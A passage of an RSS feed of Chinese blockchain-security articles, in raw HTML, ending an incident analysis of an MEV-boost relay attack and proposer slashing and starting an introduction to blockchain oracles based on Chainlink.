中校验的代码，会发现 ExecutionPayload 中并没有 parentroot 与 stateroot 相关的字段（有同名字段 state_root，但是并不是同一个）。攻击者通过修改这两个字段制造了既能通过 relay 校验但又无法被发布到 beacon chain 上 header。而由于 relay 并不关心发布到 beacon chain 上的结果，因此攻击者即拿到了 block 的全部内容，又躲过了其他 validator 的校验。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">接下来就很简单了，攻击者拆解了整个 block，将自己的诱饵交易（大额买入）改为卖出，轻松换走了夹子机器人的钱。</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>Proposer Slashing</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"><a href="https://security.feishu.cn/link/safety?target=https://beaconscan.com/validator/552061&amp;scene=ccm&amp;logParams={" target="_blank">https://security.feishu.cn/link/safety?target=https://beaconscan.com/validator/552061&amp;scene=ccm&amp;logParams={</a>&#34;location&#34;:&#34;ccm_default&#34;}&amp;lang=zh-CN</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">有一下三种行为的 proposer 会被 slash：</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·By proposing and signing two different blocks for the same slot</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·By attesting to a block that &#34;surrounds&#34; another one (effectively changing history)</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·By &#34;double voting&#34; by attesting to two candidates for the same block</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">本次攻击的 proposer 触犯了第一条规则。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">当有 validator 发现了 proposer 在同一个 slot 签署了两个不同区块头后，他会将这个 proposer 签署的两个区块头作为证据，然后作为一个消息广播到 beacon chain 上。然后将这个消息出块的 proposer 他们将获得 slash 的奖励。</span></section><p style="line-height: 1.75em;"><span style="font-size: 15px;">本次攻击的 proposer 被 slash 的证据：</span></p><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">Block Slot 6142320 | Mainnet Beacon Chain (Phase 0) Ethereum 2.0 Explorer</span></section><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"><a href="https://beaconscan.com/slot/6142320#proposerslashing" target="_blank">https://beaconscan.com/slot/6142320#proposerslashing</a></span></section><p style="text-align: left;"><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p><strong>代价</strong></p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="color: rgb(255, 129, 36);"><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">Upgrading Ethereum | 2.8.7 Slashing --- 升级以太坊 | 2.8.7 罚没</span></section><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"><a href="https://eth2book.info/altair/part2/incentives/slashing/#slashing" target="_blank">https://eth2book.info/altair/part2/incentives/slashing/#slashing</a></span></section><section style="text-align: left;line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;">攻击者被 slash 后会立即损失 1/32 的以太坊，然后排队退出，并被设置一个 36 天的余额提取周期（剩下 31 个 eth 可以在 36 后提取，该期间无法提取，并且之后会有第二次惩罚）。</span></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;">在其可提取期的一半（被削减后 18 天），被削减的验证者将受到第二次惩罚。</span></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;">计算公式：</span></section><p><span style="color: rgb(0, 0, 0);font-size: 15px;"></span></p><p><span style="font-size: 15px;">Correlation penalty=min(B,2SB/T)</span></p></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: 697.75px;vertical-align: top;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(66, 82, 190) rgb(66, 82, 190) rgb(66, 82, 190) rgb(52, 54, 121);padding-top: 21px;padding-bottom: 21px;padding-left: 21px;flex: 0 0 auto;height: auto;align-self: flex-start;"><section powered-by="xiumi.us" style="text-align: left;font-size: 15px;"><p>crements in the list of slashed validators over the last 36 days, B my effective balance, and T the total increments, the calculation looks as follows.</p></section></section></section><section powered-by="xiumi.us" style="color: rgb(255, 129, 36);"><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;">slashing multiplier 目前似乎已经变为了 3</span></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;"><br/></span></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;"></span></section><section style="line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 15px;">不管怎样，代价最多为攻击者所质押的 32 个 eth，而攻击者通过此次攻击所获得的收益早已远远大于这个数字。</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502907">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fed21279&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247502907%26idx%3D1%26sn%3D3e243b398d98c5630b7e8bc4c730670f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Jul 2023 16:20:00 +0800</pubDate>
    </item>
    <item>
      <title>预言机——黑暗森林中的神谕or神罚？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247502694&amp;idx=1&amp;sn=5416b1e12b0fd701782e75a409b97bf0</link>
      <description>预言机——黑暗森林中的神谕or神罚？</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2023-03-17 10:48</span> <span style="display: inline-block;">湖南</span>
</p>

<p>预言机——黑暗森林中的神谕or神罚？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=21b19038&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmu4aAkalk1G3HofxKBicujQIDHQZEWVoNU1xanSNvk7AJyEOZ6WcC2lqw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: center;" data-mid="" mpa-from-tpl="t"><section style="width: 54px;height: 15px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.2777777777777778" data-w="108" src="https://wechat2rss.xlab.app/img-proxy/?k=9a65d872&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FwQM6iajf8b9oe3ic0wT2bOJK3Rp60A7u4s9Wib7y0OY39HQRJmwa3SyvQ7J8TRgk8FfbxuziadYy1G9tZyOCj48hgA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;padding: 0px 12px;line-height: 2em;"><section style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 30px;height: 7px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.23333333333333334" data-w="60" src="https://wechat2rss.xlab.app/img-proxy/?k=1a5b803d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FqPZVWl5XibY8f0EpEYU1EtbFXZkUwYTTAjgSdOQ5767gCeGialK8NVtoM2XJyKiccBczKAY8NPMnyNTP4roadySEg%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 100%;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 11px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="530" data-cropsely1="0" data-cropsely2="375" data-ratio="0.562962962962963" style="width: 578px;height: 325px;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3dc75396&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmuV2YHyFKHZt7KAkACAP2qicdQ6gmeDn6bPX7lJoicI8icuqUMmhRYgrJUQ%2F640%3Fwx_fmt%3Djpeg"/></section></section><section style="width: 30px;height: 7px;display: flex;justify-content: center;align-items: center;align-self: flex-end;transform: rotate(180deg);z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.23333333333333334" data-w="60" src="https://wechat2rss.xlab.app/img-proxy/?k=67e34b3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FHdAtLMKtFXcvCO6I9V9gFsdWlGpqV7Q6LcGibc4P68hskqGiaLVniaL3NfB5TUfEIicX1Mq2VS1Xc1iblPRfrvgJAbg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;line-height: 2em;"><span style="text-indent: 0pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">在电影《黑客帝国》中有一位先知，名叫 Oracle，虽然看似不起眼，但其实她才是最关键策划者，把三大势力都放到她的局中。<br/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">而在区块链这一黑暗森林中，也有 Oracle，同样扮演了非常重要的角色，能够将区块链连接至真实世界中的数据和系统，但在这里，中文翻译不叫先知，而是叫预言机。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">那什么是区块链预言机呢？</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><br/></section><section style="line-height: 2em;"><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: center;display: flex;background: rgb(51, 51, 51);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="background: #FFFFFF;padding: 8px 4px;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="text-align: center;width: 29px;height: 22px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Avr6pXx8GkdbphNVicrcaho6G8KHv1aWDdcIC34CCuqxGdcs1s2kIypw5XhFSuQ8KqaG8eTlmWbPkiboT6KJ7l4Q/640?wx_fmt=png&#34;);background-size: 29px 22px;background-repeat: no-repeat;"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">01</span></p></section></section><section style="text-align: left;padding: 8px 14px 0px 15px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">概述</span></p></section></section></section></section><section style="line-height: 2em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: rgb(249, 249, 249);text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(51, 51, 51);line-height: 38px;" data-mid=""><span style="font-size: 18px;"><strong>预言机</strong></span></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">预言机（Oracle），单从字面意思上来看，很容易地被大家联想成预测某些未来事件的机器，但其实不然。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这个名字翻译得并不形象，很容易地误导大家对它的理解。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">先举个例子，比如说张三和李四想对这个星期六的比特币价格进行下注。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">张三认为比特币的价格将在 8500 美元或更高，相反，小黑认为在 8000 美元或更低。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">于是，他们设计了一个智能合约（双方都会向其发送资金），谁预测的价格更靠近实际价格，谁就赢得了资金。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">到了星期六，智能合约取得比特币的价格后，比如返回的值是周六比特币价格为 8600 美元，那么智能合约将根据其条件执行并将所有资金发送给张三。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">以上看似完成了一个去中心化且安全的赌约，但是「智能合约取得比特币的价格」这一过程并不简单。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果直接让矿工在互联网上获取比特币的价格，我们无法保证每个节点获取的结果相同，这时验证者就会认为这是错误的数据，从而影响整个区块链达成共识。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">          <shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:396.0pt;height:195.0pt;"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.49242424242424243" style="width:528.010009765625px;height:260.0px;" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=6b72a4ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmu5LaDaXaglWgBRXMiayoKovqR2z1Aun9sibYnW6nYvgzPkAlOZwibibuzMg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">像上面这样需要用到但又得不到链下数据的例子还有很多。我们迫切的需要一种工具使得区块链能够获取链下数据，从而预言机就应运而生了。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">也就是说预言机是一个可以将外界信息传入到区块链工具。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section style="line-height: 2em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: #F9F9F9;text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">预言机的分类</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">预言机可以分为链上和链下预言机。链上预言机因为闪电贷的出现，遭到了大量的攻击，并且它的能力有限，所以本文我们主要分析链下预言机。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">从另一个角度，按照预言机系统运行的方式，又可以将预言机分为中心化预言机和去中心化预言机。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section style="line-height: 2em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: #F9F9F9;text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">预言机的工作原理</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">预言机（Oracle）其实可以看作用户的智能合约和 Web Server 的中间件。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">它会在链下向 Web Server 请求链下数据并传给链上的预言机合约，而用户的智能合约通过调用预言机的链上智能合约就可以获取链下数据。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">我们以 Chainlink 为例，分析预言机的工作原理。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.2028985507246377" style="width:552.010009765625px;height:112.0px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=cfac8035&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmuUPlOemvywTcmcGRBxDHNAa4oibe88bF7NtP6Qvlrc4fefoufKibpkr5w%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">上图是 Chainlink 提供的 Oracle 的使用流程。白色的部分指链上，蓝色的部分指链下。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">链上部分工作原理：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">以Chainlink为例，用户合约继承 Chainlink 提供的 ChainlinkClient 合约，然后向 Oracle Contract 发起请求数据的外部调用并支付一定的 LINK Token，此后 Oracle Contract 就会发起回调函数返回 ChainlinkClient 所请求的链下数据。这一过程就是 Chainlink 的链上工作流程。虽然在细节上可能有所不同，但大多的 Oracle 在这一过程其实与 Chainlink 大同小异。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft 